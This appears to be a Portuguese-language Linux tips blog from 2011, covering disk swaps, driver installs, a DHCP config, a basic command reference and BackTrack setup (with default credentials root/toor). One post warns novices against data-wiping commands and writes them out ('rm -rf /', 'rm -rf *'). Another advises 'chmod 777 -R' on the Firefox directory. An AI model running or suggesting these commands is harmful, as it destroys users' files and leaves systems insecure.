28 de abr. de 2011

Troca de HDs ou alterações de partições


Troca de HDs ou alterações de partições


Olá galera.

Esta dica é para quem tem uma máquina comLinux instalado em vários HDs ou partições e precisa trocar um ou mais discos ou alterar as partições da máquina. Se este procedimento for feito em um servidor que possui suporte a Hot Swap, tudo pode ser feito sem mesmo precisar desligar ou reiniciar o servidor.

Precisei fazer este procedimento a primeira vez a algum tempo quando o firewall da empresa que trabalho apresentou um problema em um dos HDs. Para a minha sorte, estava montado no disco que apresentou o problema a pasta "/opt" e o servidor possuía suporte a Hot Swap. Como este problema ocorreu em nosso firewall, não podia simplesmente desligar a máquina para trocar o HD. A solução foi pesquisar de que forma poderia trocar um HD de uma máquina Linux sem desligá-la. Na época, não encontrei muita documentação sobre isso, e ainda hoje não possui muita coisa. Por isso, resolvi compartilhar esta dica com vocês.

Vamos deixar de enrolação e vamos lá...

Existem vários cenários para a necessidade de troca de um HD, mas vou usar como exemplo um servidor com suporte a Hot Swap e um dos discos está apresentando problemas e precisa ser substituído. O disco está montado na pasta "/opt". Só lembrando que este procedimento não vale se os discos estiverem configurados em RAID.

disco1 --> /
disco2 --> /swap
disco3 --> /home
disco4 --> /usr
disco5 --> /opt (disco com problema)
disco6 --> novo disco

1. Primeiramente precisamos inserir o disco novo no servidor. Para saber qual o nome do device que o Linux alocou para o disco, executar o comando abaixo:

# fdisk -l

Este comando irá listar todos os devices de armazenamento que o Linux reconheceu. Outra forma é através do comando:

# dmesg | tail

2. Criar uma partição no novo disco com o comando:

# cfdisk /dev/sdf (colocar o nome do device encontrado anteriormente)

3. Formatar a nova partição com o sistema de arquivos desejado:

# mkfs.ext3 /dev/sdf1

4. Caso o HD com problemas ainda esteja acessível, executar os passos abaixo. Se não estiver acessível, ir direto para o passo 7 e, em seguida, pular o passo 9.

5. Criar uma pasta temporária em uma partição com espaço disponível. Vamos supor que na pasta /home tenha espaço. Vamos criar a pasta:

# mkdir /home/opt.new

6. Copiar todos os dados do disco com problemas para a pasta temporária .

# cp -rp /opt /home/opt.new

7. Desmontar o disco com problemas:

# umount /dev/sde1

8. Montar a pasta no novo disco:

# mount /dev/sdf1 /opt

9. Copiar os dados para o novo disco:

# cp -rp /home/opt.new /opt

10. Editar o fstab e alterar a linha que monta a pasta "/opt" para montar no novo disco.

# vim /etc/fstab (use o editor que desejar)

Antiga: /dev/sde1    /opt        ext3       defaults     1   2
Nova:   /dev/sdf1    /opt        ext3       defaults     1   2

11. Testar o uso dos dados no disco novo.

Este procedimento foi explicado para troca de um HD mas se quiser alterar partições ao invés do HD inteiro, o procedimento é praticamente o mesmo. 

Daemon Tools no Linux?


Daemon Tools no Linux?


Olá, isso mesmo que você leu: um software que faz graficamente tudo que o Daemon Tools faz. Mas só que melhor, para Linux. Nada mais de ficar digitando linhas de comandos enormes para montar suas imagens ISO. O programa permite que as imagens iniciem automaticamente ao iniciar o sistema.

Com o script é possível gerenciar 99 imagens montadas. Ao fechar o script é feito uma verificação para saber quais imagens estão realmente montadas. A lista das imagens é dinamicamente montada.

Ele ainda não tem um menu controle de deletar e verificar de ISOs existentes, das imagens que são montadas ao ligar o sistema, gostaria de uma ajuda para fazer essa parte e do histórico das imagens já utilizadas (remontar e deletar entradas não válidos).

O programa está estável, funcional e foi testado no Ubuntu 10.10. Para usuários Fedora ou de outras distribuições, poderão adaptar os arquivos de saída, pois as funcionalidades são universais (já que foi escrito em Shell Script).

As dependências são: Zenity - mount, wc, sed, fail, head (comandos comuns)

Download: http://www.4shared.com/file/bM m0tgwD/Daemon4Linux_v11.html

Espero que seja útil para você, pois foi muito trabalhoso fazer esse script.

Muito obrigado pela atenção. 

26 de abr. de 2011

Deixando o Firefox em português

 Deixando o Firefox em português

Abre o navegador Firefox e acesse:http://br.mozdev.org/firefox/idiomas
Clique onde diz: "Instale a extensão com a tradução para o português brasileiro (pt-BR)."
Depois instale o Locale Switcher em:
https://addons.mozilla.org/en-US/firefox/addon/356
Feche o Firefox e depois disso vá em Tools (ferramentas) -> Locale (idiomas) e escolha Português. Reinicie o Firefox novamente.
Atualização do Firefox pelo navegador no Slackware Linux
Primeiro é necessário setar permissão no diretório do Firefox
# chmod 777 /usr/lib/firefox-versao -R Agora a opção "check for updates" do Firefox estará habilitada

Instalação do flash player (plugin)

 Instalação do flash player (plugin)

Acesse o site: http://get.adobe.com/br/flashplayer/ em "selecione uma versão para descarregar" selecione "tar.gz" baixe e salve em algum lugar no seu /home/$USER Terminado o download, navegue até onde salvou o plugin do flash
$tar -xzvf install_flash_player_10_linux.tar.gz
#mv libflashplayer.so /home/$USER/.mozilla/plugins/
#mv libflashplayer.so /usr/lib/mozilla
Pronto, agora acesse o youtube e assista seus vídeos favoritos

Instalação da placa de vídeo NVIDIA GEFORCE

 Instalação da placa de vídeo NVIDIA GEFORCE

Testado no Slackware 12.2

Faça o download do drive da placa de vídeo NVIDIA GEFORCE no site:http://www.nvidia.com.br/page/home.html em BAIXAR, especifique a modelo de sua placa de vídeo, no meu caso:
Tipo do produto: GeForce
Série do produto: GeForce 5 FX Series
Sistema operacional: Linux 32-bit
Idioma: Português-Brasil
clique em "procurar", irá redirecionar para a página contendo as informações selecionadas, se estiver correto, clique em "baixar", irá redirecionar para a página de concordância da licença do drive da NVIDIA, clique em "aceitar e baixar", salve o arquivo "NVIDIA-Linux-x86-173.x.x-pkg1.run", onde x seria a versão posterior, em algum lugar no seu /home/$USER.
Após terminar o download do drive da NVIDIA, edite o arquivo /etc/inittab para fazer o boot do sistema em modo texto e poder instalar o drive da placa de vídeo corretamente sem problemas em # Default runlevel. (Do not set to 0 or 6) id:4:initdefault: altere para id:3:initdefault: salve e reinicie o sistema, irá iniciar em modo texto, logue como seu usuário comum, navegue até o diretório onde foi salvo o drive que baixou, encontrando, logue como root e execute
#sh NVIDIA-Linux-x86-173.x.x-pkg1.run", onde x seria a versão posterior [ENTER] yes e quando chegar nessa tela "No precompiled kernel interface was found to match your kernel; would you like installer to attempt to download a kernel interface for your from the NVIDIA ftp site (ftp://download.nvidia.com)?" no Daí em diante, basta teclar [ENTER] até o fim Depois execute o comando: #nvidia-xconfig --composite para configurar o Xorg. Pronto drive instalado
Agora reinicie o sistema e perceba o logo da NVIDIA, se aparecer significa que foi instalado com Sucesso!
Lembrando que o boot esta em modo, se quiser que o sistema inicie em boot gráfico, edite o arquivo /etc/inittab e faça o processo inverso, que fez anteriormente id:3 para id:4, salve e reinicie o sistema! Pronto sua placa de vídeo NVIDIA esta instalada!

25 de abr. de 2011

Configurando o dhcpd.conf

Configurando o dhcpd.conf

Arquivo básico de configuração do Servidor DHCP. Distribui IPs para a subnet 192.168.2.x e permite endereços de 10 a 100. Normalmente este arquivo fica no /etc. Para iniciar o servidor DHCP, use o comando: dhcpd [interface] (ex.: dhcpd eth1)

ddns-update-style interim;
ignore client-updates;

# REDE A QUAL SE APLICA
subnet 192.168.2.0 netmask 255.255.255.0 {

# DEFAULT GATEWAY
option routers         192.168.2.1;
option subnet-mask     255.255.255.0;

# DOMÍNIO E SERVIDORES DNS
option domain-name      "localhost";
option domain-name-servers   200.175.5.139,200.175.89.139;

# HORÁRIO (BR)
option time-offset      -10800;

# RANGE DE IP (192.168.2.10 ao 192.168.2.100)
range dynamic-bootp 192.168.2.10 192.168.2.100;
default-lease-time 21600;
max-lease-time 43200;
}

23 de abr. de 2011

Instalando VeloX (ADSL da telemar) no Linux

  Vc já se matou pra configurar o VeloX da telemar no Linux? Entao leia este tutorial!

Instalando Velox (Adsl da Telemar) no Linux
- OS: Slackware
- Placa de rede: SiS 900
- Modem ADSL: Ericsson

Primeiramente vc deve pegar todas informacoes de rede necessarias pelo windows em Menu iniciar/executar/winipcfg depois pelo linux carregue o modulo de sua placa de rede digitando no console:
# modprobe sis900
substitua sis900 pelo module da sua placa de rede, vc pode ver uma listagem com todos modules no arkivo /etc/rc.d/modules...

logo após vamos configurar sua conexão digitando no console:
# ifconfig eth0 SEU_IP netmask 255.255.255.0
Substitua SEU_IP pelo valor real do seu ip (da para ver no windows, winipcfg, todos os ips daqui são vistos lá)
netmask é a mascara da sua rede, geralmente é 255.255.255.0, só modifique se necessario

apos digitar o comando de la de cima digite novamente no console:
# route add default gw IP_GATEWAY
Substitua IP_GATEWAY pelo ip do seu gateway

e logo em seguida:
# echo "nameserver IP_DNS" > /etc/resolv.conf
Substitua IP_DNS pelo IP do Dns da Telemar (Aqui em casa foi 192.168.121.78)

pronto, seu ADSL está instalado no Linux agora teste abrindo ou pingando uma Home Page, se ele responder é porque está funcionando direito

o arquivo onde ficarão guardadas essas informações é "/etc/rc.d/rc.inet1"
nele ficará mais ou menos assim:

IPADDR="XXX.XXX.XXX.XXX"
NETMASK="255.255.255.0"
NETWORK="XXX.XXX.XXX.X"
BROADCAST="XXX.XXX.XXX.XXX"
GATEWAY="XXX.XXX.XXX.XXX"

Obs: Vc pode configurar tudo isso automaticamente pelo netconfig :P mas nao recomendo, aki nao funcionou tive q ir manualmente.. E tambem é melhor ir manualmente pra vc aprender como tudo funciona :)

Fonte: Amigos ;)

irc.virtualife.com.br
#SuperDownloads

Comando do Linux (Completo)

Comandos para manipulação de arquivos
A primeira coisa que sempre vem em mente no uso de um sistema operacional é como lidar com os arquivos dentro dele... Nesta seção eu vou mostrar alguns comandos básicos para mexer com os arquivos.

cd - Navegando entre diretórios
ls - Listar arquivos
mkdir - Cria um diretório
rmdir - Remove um diretório vazio
cp - Cópia de arquivos e diretórios
mv - Move arquivos e diretórios
rm - Deleta arquivos e diretórios
ln - Linkando arquivos
cat - Exibe o conteúdo de um arquivo ou direciona-o para outro
file - Indicando tipo de arquivo
cd - Navegando entre diretórios
cd [nome_do_diretório]


Este comando acima mudará o diretório atual de onde o usuário está. Há também algumas abreviações de diretórios no Linux para a facilitação, estes são:

Abreviação Significado
. (ponto) Diretório atual
.. (dois pontos) Diretório anterior
~ (til) Diretório HOME do usuário
/ (barra) Diretório Raiz
- (hífen) Último diretório


Por exemplo, se eu quero ir para o meu diretório home, faço o seguinte:

$ pwd
/usr/games
$ cd ~
$ pwd
/home/hugo


Ou seja, eu estava no diretório /usr/games, e com um simples cd para o diretório ~, fui para o meu diretório home (/home/hugo). Quando você deseja saber o caminho completo do diretório em que você está, utilize o comando pwd. Se você deseja ir para um diretório que está na raiz diretamente, você usa o / antes, exemplo:

$ pwd
/usr/local/RealPlayer7/Codecs
$ cd /etc/rc.d
$ pwd
/etc/rc.d
$ cd -
$ pwd
/usr/local/RealPlayer7/Codecs


Eu estava no diretório /usr/local/RealPlayer7/Codecs e quis ir para o diretório etc/rc.d que está na raiz. Note depois que eu usei o hífen e fui de volta para o último diretório em que eu estava.

ls - Listar arquivos
ls [opções] [arquivo/diretório]



Este comando lista os arquivos, nada mais que isso. Se você executar apenas o ls sozinho, ele vai mostrar todos os arquivos existentes no diretório atual. Há também as opções extras:

Parâmetro Significado
-l Lista os arquivos em formato detalhado.
-a Lista os arquivos ocultos (que começam com um .)
-h Exibe o tamanho num formato legível (combine com -l)
-R Lista também os subdiretórios encontrados


Exemplo de uma listagem detalhada:

$ ls -l
total 9916
drwxrwxr-x   5 hugo hugo    1302 Aug 16 10:15 CursoC_UFMG
-rw-r--r--   1 hugo hugo  122631 Jul 12 08:20 Database.pdf
-rw-r--r--   1 hugo hugo 2172065 Jul 12 08:20 MySQL.pdf
-rw-r--r--   1 hugo hugo 2023315 Jul 12 08:20 PHP3.pdf



Podemos também usar no ls os wildcards, ou seja, caracteres que substituem outros. Exemplo: eu quero listar todos os arquivos que têm a extensão .txt, faço o seguinte:

$ ls *.txt
debian-install.txt  manualito.txt  named.txt           plip.txt  seguranca.txt
ipfw.txt            mouse.txt      placa_de_video.txt  rede.txt  sis.txt



O wildcard é o "*", que representa "tudo".txt. Existem outros wildcards, exemplo disso é o ponto de interrogação (?), que substitui apenas 1 caractere, exemplo:

$ ls manual?.txt
manual1.txt  manual2.txt  manual3.txt  manualx.txt  manualP.txt



Existe outro wildcard, que envolve os colchetes. Por exemplo:

$ ls manual[3-7].txt
manual3.txt  manual4.txt  manual6.txt  manual7.txt



Lista todos os arquivos que tiverem como manual?.txt, onde o ? pode ser substituído por 3, 4, 5, 6 e 7.

mkdir - Cria um diretório
mkdir <nome_do_diretório>



Cria um diretório. Exemplo:

$ mkdir ~/paginas



Este comando criará o diretório paginas no seu diretório home.

rmdir - Remove um diretório vazio
rmdir <nome_do_diretorio>



Apaga um diretório que esteja vazio. Exemplo:

$ rmdir /tmp/lixo



Isto apagará o diretório /tmp/lixo apenas se ele estiver vazio. Para apagar um diretório com seu conteúdo, refira-se ao comando rm.

cp - Cópia de arquivos e diretórios
cp [opções] <arquivo_origem> <arquivo_destino>



O comando cp copia arquivos e diretórios. Como opções dele, podemos ver:

Parâmetro Significado
-i Modo interativo
-v Mostra o que está sendo copiado
-R Copia recursivamente (diretórios e subdiretórios)

Exemplos:

Quero copiar brasil.txt para livro.txt, com a opção de modo interativo.

$ cp -i brasil.txt livro.txt
cp: sobrescrever `livro.txt'?



Como o arquivo livro.txt já existia, ele pergunta se quer sobrescrever, responda y(sim) ou n(não). Agora eu quero copiar o diretório /home/ftp com tudo dentro (até seus subdiretórios) para /home/ftp2, faço o seguinte:

$ cp -R /home/ftp /home/ftp2



mv - Move arquivos e diretórios
mv <arquivo_origem> <arquivo_destino>



Este comando simplesmente move algum arquivo para outro lugar. Ele também é usado para renomear um arquivo. Por exemplo, se eu quero renomear o industria.txt para fabrica.txt, eu faço o seguinte:

$ mv industria.txt fabrica.txt



Se eu quiser mover o industria.txt para /home/usuario com o mesmo nome, faço:

$ mv industria.txt /home/usuario



rm - Deleta arquivos e diretórios
rm [opções] <arquivo>



Este comando apaga definitivamente o arquivo ou diretório. Exemplo:

$ rm arquivo.bin



Para apagar um diretório com todo seu conteúdo, usa-se a opção -r, assim:

$ rm -r /tmp/lixo



ln - Linkando arquivos
ln -s <arquivo_origem> <link simbólico>



Este comando é usado para gerar links simbólicos, ou seja, que se comportam como um arquivo ou diretório, mas são apenas redirecionadores que mandam seu comando para outro arquivo ou diretório, por exemplo:

$ ln -s /manual /home/linux-manual



Este comando criará o link /home/linux-manual, se você der um ls -l você verá que o diretório /home/linux-manual está apontando para /manual. Se você ir para o /home/linux-manual, você na verdade estará no /manual, mas como é um link, não há diferença.

cat - Exibe o conteúdo de um arquivo ou direciona-o para outro
cat <arquivo>



Este comando existe para mostrar o conteúdo de um arquivo, ou para fazer a cópia deste arquivo, ou uma junção. Vejamos um exemplo, se eu quiser mostrar o conteúdo de /home/usuario/contato, eu digito:

$ cat /home/hugo/contato



Aparecerá o conteúdo do arquivo contato:

Hugo Cisneiros
hugo_arroba_devin_ponto_com_ponto_br
http://tlm.conectiva.com.br



Este comando pode também servir de direcionador para outro arquivo. Indicadores são usados para isso:

Indicador ">" - faz uma cópia, exemplo:
$ cat contato1 > contato2


Indicador ">>" - Acrescenta um arquivo ao outro, exemplo:
cat contato1 >> contato2



O cat pode fazer coisas que nem você imagina, como tocar sons. Para fazer isso é simples, ele direciona o arquivo som para o dispositivo de áudio (que no linux é representado por um arquivo), exemplo:

cat som-dumau.au > /dev/audio



file - Indicando tipo de arquivo
file <arquivo>



Este comando identifica o tipo de arquivo ou diretório indicado pelo usuário conforme os padrões do sistema operacional. Há varios tipos de retorno, vamos aqui ver alguns mais importantes:

ASCII text      C Program source
directory       ELF-Executable
data            Bourn-again shell-script



Apenas um exemplo deste comando:

$ file linux.txt
ASCII Text



Comandos sobre processos do sistema
ps - Listando processos
kill - Matando um processo
killall - Matando processos pelo nome
w - Lista os usuários logados
ps - Listando processos
ps [opções]



Quando um programa é executado no sistema, ele recebe um número de identificação, o chamado PID. Este comando lista esses processos executados, e apresenta o PID. Além do PID, ele também mostra o comando executado (CMD) e também o STAT (status atual do processo executado, veja nota abaixo), além de outros.

O status do processo é identificado por letras, aqui segue uma tabela com as definições de cada letra:

Letra Definição
0 Não existente
S Descansando, fora de funcionamento (Sleeping)
R Rodando (Running)
I Intermediando (Intermediate)
Z Terminando (Zumbi)
T Parado (Stopped)
W Esperando (Waiting)


Agora um exemplo para este comando:

$ ps aux
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  1120   52 ?        S    Dec25   0:05 init
root         2  0.0  0.0     0    0 ?        SW   Dec25   0:00 [kflushd]
root         3  0.0  0.0     0    0 ?        SW   Dec25   0:00 [kupdate]
root         4  0.0  0.0     0    0 ?        SW   Dec25   0:00 [kpiod]
root      1004  0.0  0.0 10820   48 ?        SN   Dec25   0:00 [mysqld]
root      1007  0.0  0.0  2852    0 ?        SW   Dec25   0:00 [smbd]
hugo      1074  0.0  0.0  1736    0 tty1     SW   Dec25   0:00 [bash]
hugo      1263  0.0  0.0  1632    0 tty1     SW   Dec25   0:00 [startx]
hugo      1271  0.0  0.0  2304    0 tty1     SW   Dec25   0:00 [xinit]
hugo      1275  0.0  2.4  4312 1360 tty1     S    Dec25   0:16 wmaker
hugo      2461  0.0  0.0  1636    0 tty1     SW   07:09   0:00 [netscape]
hugo      9618  0.9  4.9  5024 2688 pts/1    S    09:56   0:06 vim d03.html
hugo     12819  6.7  6.9  5580 3796 ?        S    10:03   0:13 mpg123 King Diamond - Help.mp3



Este parâmetro (aux) fez o ps listar todas as informações sobre todos os processos executados.

kill - Matando um processo
kill [-SINAL] <PID>



O comando kill é muito conhecido (principalmente pelos usuários do Netscape :)), ele serve para matar um processo que está rodando. Matar? Terminar este processo, finalizar natoralmente! Para matar um processo, temos de saber o PID dele (veja o comando ps), e então executar o kill neste PID. Vamos killar o Netscape:

$ ps aux | grep netscape
hugo      2461  0.0  0.0  1636    0 tty1     SW   07:09   0:00 [netscape]
$ kill -9 2461



E o processo do Netscape foi morto! Vivas! O sinal -9 significa para forçar e matar natoralmente mesmo. Uma lista de sinais pode ser encontrada com o comando:

man 7 signal



killall - Matando processos pelo nome
killall [-SINAL] <comando>



Faz a mesma coisa que o kill, só que a vantagem aqui é que você não precisa saber o PID do processo, e sim o nome. A desvantagem é que se tiver dois processos com o mesmo nome, os dois são finalizados. Seguindo o exemplo do comando kill:

$ ps aux | grep netscape
hugo      2461  0.0  0.0  1636    0 tty1     SW   07:09   0:00 [netscape]
$ killall -9 netscape



w - Listas os usuários logados
w



Com este comando, é possível você ver quais usuários estão atualmente logados no seu sistema, além de informações como "O que ele está fazendo", "aonde está fazendo", "desde quando está logado", etc. Vejamos um exemplo aqui da minha máquina:

[hugo@songoku hugo]$ w
 10:37am  up 13:45,  4 users,  load average: 0.85, 0.70, 0.71
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
hugo     tty1     -                Mon 8pm 25.00s 34:16   0.09s  -bash
root     tty2     -                10:37am  5.00s  0.27s  0.14s  top
hugo     tty3     -                10:37am 11.00s  0.25s  0.13s  vi cmpci.c
jim      tty4     -                10:37am 22.00s  0.23s  0.12s  BitchX



Comandos de pacotes (instalação/desinstalação/consulta)
O que são pacotes?

No Linux, geralmente os aplicativos vêem em forma de código-fonte, então o usuário tem de baixar e compilar. Os pacotes servem justamente para facilitar o trabalho do usuário, dando a ele um arquivo empacotado com o código já compilado. Existem diversos gerenciadores de pacotes que iremos aprender a usar o básico deles aqui. Tem o RPM (RedHat Package Manager), que é usado por várias distribuições como o Conectiva Linux, Red Hat, SuSE e Mandrake. Também tem o DEB (Debian Packages), muito bom também e usado pela distribuição Debian e Corel Linux (que é baseada no Debian por isso). E temos também o pacoteamento do Slackware (TGZ), que não é tão poderoso como os anteriores, mas quebra galhos também.

Além de empacotar o código-fonte compilado, os gerenciadores de pacotes também armazenam as informações de instalação em um banco de dados, para depois o usuário ter informações sobre a instalação, e para desinstalar o pacote do sistema. E não há apenas pacotes com código-fonte compilado, também há pacotes que contém o código-fonte sem compilar, mas empacotado.

Utilizando o PKGTOOL (Slackware)

Nas distribuições Slackware, é bem simples o gerenciamento de pacotes dele. Os pacotes têm extensão .tgz (diferente de .tar.gz), e além de conter os arquivos, contém scripts de pós-descompactação também. Existe uma interface muito amigável para o gerenciamento dos pacotes .tgz, e se chama pkgtool. Tente executar o pkgtool no console e ver no que dá.

Mas também existem os comandos individuais:

Comando O que faz
installpkg X.tgz Instala o pacote X.tgz
removepkg X Desinstala o pacote X
makepkg Cria um pacote


Utilizando o RPM

Para instalar um pacote, usa-se a opção -i:

# rpm -i pacote.rpm



Você também pode utilizar as opções -v e -h combinadas com a -i para uma mostragem mais agradável. Se você já tem o pacote.rpm e deseja atualizar para uma versão mais recente da mesma, você utiliza a opção -U ao invés da -i, exemplo:

# rpm -Uvh pacote-atualizacao.rpm



Isso irá atualizar os arquivos do pacote. Se você quer retirar o pacote do seu sistema, você utiliza a opção -e, assim:

# rpm -e pacote



Caso este pacote gere dependências com outros pacotes, e mesmo assim você queira removê-lo, você pode utilizar a opção --force, que como o nome diz, força a remoção do mesmo:

# rpm -e pacote --force



Agora uma característica muito importante também para o usuário é a capacidade de consulta que o RPM traz. Por exemplo, se você quer listar todos os pacotes instalados no sistema, você utiliza o comando:

$ rpm -qa



Isto irá gerar a listagem dos pacotes. Veja que a opção -q (query) é a opção de consulta, e seguida de outra letra ela faz tarefas. Combinando o comando anterior com o comando grep, podemos ver se um certo pacote está instalado no sistema:

$ rpm -qa | grep BitchX
BitchX-75p3-8cl



E se você quer saber informações sobre um pacote? Então usa-se a opção -i. Vejamos um exemplo:

$ rpm -qi BitchX
Name        : BitchX                       Relocations: (not relocateable)
Version     : 75p3                              Vendor: conectiva
Release     : 8cl                           Build Date: qua 16 fev 2000 01:28:59 BRST
Install date: dom 10 set 2000 19:33:23 BRT      Build Host: mapinguari.conectiva.com.br
Group       : Aplicações/Internet           Source RPM: BitchX-75p3-8cl.src.rpm
Size        : 2812352                          License: GPL
URL         : http://www.bitchx.org
Summary     : Cliente IRC para o console do Linux
Description :
O BitchX é um cliente de IRC com suporte a cores para o console
do Linux. Ele incorpora várias características que normalmente
requereriam um script, e a sua interface é mais colorida, e simples
de trabalhar que a do ircII :)



Se quisermos ver quais pacotes fazem dependência com um certo pacote, utilizamos a opção -R:

$ rpm -qR pacote



E para verificar a qual pacote um certo arquivo pertence, utilize a opção -f, assim:

$ rpm -qf /diretorio/arquivo



Ou o contrário, se você quiser listar todos os arquivos pertencentes à um pacote, faça assim:

$ rpm -ql pacote



Outros tipos de comandos
Descompactar arquivos

Extensão .tar.gz tar zxpvf arquivo.tar.gz
Extensão .tar tar xpvf arquivo.tar
Extensão .gz gunzip arquivo.gz
Extensão .tar.bz2 bunzip2 arquivo.tar.bz2 ; tar xpvf arquivo.tar
Extensão .bz2 bunzip2 arquivo.bz2
Extensão .zip unzip arquivo.zip


Compactar arquivos

Empacotar um diretório em .tar tar cvf diretorio/
Empacotar um diretório em .tar.gz tar zcvf diretorio/
Compacta um arquivo para .gz gzip arquivo
Compacta um arquivo para .bz2 bzip2 arquivo


Espaço em disco

df -h Mostra o espaço em disco das partições montadas
du -hs Mostra o espaço ocupado pelo diretório atual



Informações do sistema

date Mostra a data e hora atual
cal Mostra um calendário
uptime Mostra quanto tempo seu sistema está rodando
free Exibe a memória livre, a usada, e os buffers da memória RAM
top Mostra os processos que mais gastam memória
uname -a Mostra informações de versão do kernel


Programas (console)

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20 de abr. de 2011

Instalando VMWare Player no kernel 2.6.28

Instalando VMWare Player no kernel 2.6.28 

Homepage: www.brunoeleutero.com


Esta dica é para quem está com problemas em instalar o VMWare no Linux com kernel 2.6.28. Tentei seguir vários tutoriais e compilar o VMWare manual, mas sempre os erros persistiam, não conseguia carregar o módulo vmmon. 

Baixe a versão VMware-Player-2.5.2-xxx.i386.bundle do VMWare player no site:

Depois vá ao diretório onde se encontra o arquivo e execute o comando:

# sh VMware-Player-2.5.2-xxx.i386.bundle

Aparecerá uma tela de instalação, é só clicar em instalar e pronto.

Para iniciar o VMWare execute o comando:

# vmplayer

Para criar máquinas virtuais utilizando o qemu acesse o site:

Instalando o Backtrack 4 R2 em VirtualBox

Instalando o Backtrack 4 R2 em VirtualBox


Backtrack4 r2 em formato http e torrent:

Após baixar o Backtrack em formato ISO, upe-o em seu VirtualBox.

Abra o BT4 em livecd, digite:

# startx

Você irá para o ambiente gráfico do BT4. Para instalar no disco rígido separado para o VirtualBox, primeiro veja se você reservou mais de 6GB para a instalação em HD. No meu caso usei 8GB.

Após isso constatado abra um shell e digite:

# ubiquity

Veja como quer deixar seu HD, se vai particioná-lo com Windows ou outros Linux. Esta opção é possível como mostra o vídeo:

Caso queira instalar o Backtrack 4 somente nesse HD virtual, que é o nosso caso, apenas confirme os dados abaixo.

Dê avançar, escolha sua cidade para fuso horário, selecione seu país e teclado. Agora aguarde o BT4 copiar os arquivos para o HD.

Obs.: Escolha a opção guided se você está iniciando.

Após instalação concluída e a cópia dos arquivos finalizados, desligue a máquina virtual e remova a ISO do VirtualBox, dê um start no BackTrack4, logue no sistema.

$ sudo su

Coloque seu usuário e senha caso tenha setado, caso tenha deixado padrão o usuário e senha são -> usuário: root senha: toor.

Já como root escreva o comando:

# fix-splash

Para fixar o boot splash e initrd.

Reboot e está pronto.

Testado no VirtualBox com a versão 4 r2.

Redondo e fácil de fazer.

fonte: http://www.backtrack-linux.org

Counter Strike 1.6 Debian

Counter Strike 1.6 Debian

Para rodar o CS 1.6 no steam no Linux, nós vamos precisar de:
Acho que está parte todos sabem, mas:

Entre no diretório onde você baixou os pacotes do Cedega, e use o dpkg:

# dpkg -i Cedega44DEB.deb FontInstallerDEB.deb

Pronto, seu Cedega já está instalado.

Após a instalação do Cedega, vamos instalar o CS 1.6. Execute o instalador do Conter Strike (cs16full_v13.exe, nesse caso) pelo Cedega:

$ cedega cs16full_v13.exe

Faça a instalação normal e espere a cópia dos arquivos. Depois de completo é a vez do zbot.exe:

$ cedega zbot.exe

Obs.: você tem que instalá-lo no mesmo diretório que você instalou o cs16full_v13.exe.

Prontinho, agora, seu Counter Strike no steam 1.6 já está instalado e com bots.

Para abrir o jogo, entre no diretório em que você o instalou e digite:

$ cedega hl.exe -console -game cstrike -width 1024 -height 768 -bpp 32

Quando o jogo abrir pela primeira vez, vai pedir a chave do CD.

Obs.: a primeira vez que você entrar em algum mapa e adicionar os bots, ele vai ficar meio lerdo, mas é normal, pois o zbot estará criando o waypoint do mapa. Demora uns 5 minutos dependendo do seu PC.

Para adicionar bots, dentro do jogo, aperte a tecla "H" e leia as opções.

Prontinho, bom jogo pra vocês.

Valeu

fonte:  http://www.vivaolinux.com.br/dica/Counter-Strike-1.6

5 comandos que ninguém nunca deve executar no Linux.

 5 comandos que ninguém nunca deve executar no Linux.

O terminal é sem dúvida uma poderosa arma, feito para facilitar a nossa vida, assim como uma faca de cozinha que ajuda em muito na hora de cozinhar. Porém como uma faca em mãos erradas é sinal de perigo, assim é o terminal com o trio copiar-colar-enter.

Introdução

Linux é poderoso e divertido. Quando se trata de algo com muito poder, vale lembrar o conselho do tio Ben ao jovem Peter Park:

"Com grandes poderes, vem grandes responsabilidades"

Quando se é novo no Linux, frequentemente procuramos obter ajuda de outros e quase a maioria dos conselhos que você receberá será na forma de alguns comandos como ps, top, modprobe, lspci.

Tenha cuidado quando você executar esses comandos, infelizmente existem alguns anti-Linux a serviço do mal, malucos invejosos que tentam enganar novos usuários com dicas e tutoriais falsos, como nesse fórum:

Se você seguir estas dicas e executar esses comandos, perderá todos os seus arquivos, e ninguém será culpado a não ser você. Esteja consciente do que você está fazendo!

Não faça de todas instruções como em uma receita de bolo, seguindo a risca sem saber o que está fazendo. Use as man pages, elas estão aí para isso (manuais do Linux, em um terminal digite: "man comando", o manual será mostrado na tela. EX: man mplayer).

Desta forma você aprenderá a aproveitar muito mais as opções que o Linux te dá.

Se você estiver em dúvida sobre os comandos que te passaram, entre aqui no VOL e coloque todos os comandos suspeitos e informações sobre o que você quer fazer, tipo assim:

"Olá, eu estava tentando fazer isso e um rapaz do forum.xyz.com me disse para executar esse comando (rm -Rf /). Suspeito que este seja um comando nocivo. Alguma sugestão?"

Guarde as minhas palavras, a comunidade tem um grande espírito de união, o espírito de compartilhar conhecimentos. Você terá boas sugestões, bem explicativas, muito rapidamente, eu mesmo já postei para alguns novatos respostas dentro de minutos após eles colocarem as perguntas aqui no VOL.

Se você ainda estiver em dúvida, sugiro que execute os comandos dentro do VirtualBox. Isso mesmo, estou falando para os novatos instalarem um Linux dentro de outro Linux criando uma máquina virtual. Não é uma tarefa difícil e existe vastas informações sobre isso aqui mesmo no VOL. Assim você pode testar quantos comandos e configurações quiser sem se preocupar em detonar o seu sistema.

Agora chega de blá blá blá, vamos aos 5 comandos perigosos que o maluco do fórum mandou as pessoas executarem. NÃO EXECUTE ESSES COMANDOS! Eles são apenas para sua informação. Esses comandos não são feitos para fazer mal ao seu computador, mas com um par de opções, pode ser muito perigoso.

O Linux não sabe que dentro de uma pasta do seu diretório home existe a foto da sua namorada. É o seu dever garantir que esses e outros arquivos fiquem seguros.

Primeiro comando

Vamos começar. Repito, NÃO EXECUTE ESSES COMANDOS. Se você quiser testar, sugiro-lhe executá-los dentro de uma máquina virtual (VirtualBox).


1. O rei de todos os males:

# rm -rf /

P. O que faz um rm?
A. Remove um arquivo

P. O que é r?
A. Recursão. Isso significa que dentro de uma pasta, de outra pasta naquela pasta e assim por diante.

P. O que é f?
A. Force. Isso significa que você está dizendo para o comando: "Nunca me perguntar nada. Basta fazer o que eu mandar fazer".

P. O que é /?
A. Seu diretório raiz!

Veja o que o comando faz: recursivamente remove todos os arquivos dentro do seu diretório raiz sem chatear você - "Devo apagar isso, sim ou não?".

Existem várias versões do rm disponíveis, tais como:

# rm -rf .
# rm -rf *


Pouco conhecimento é perigoso!

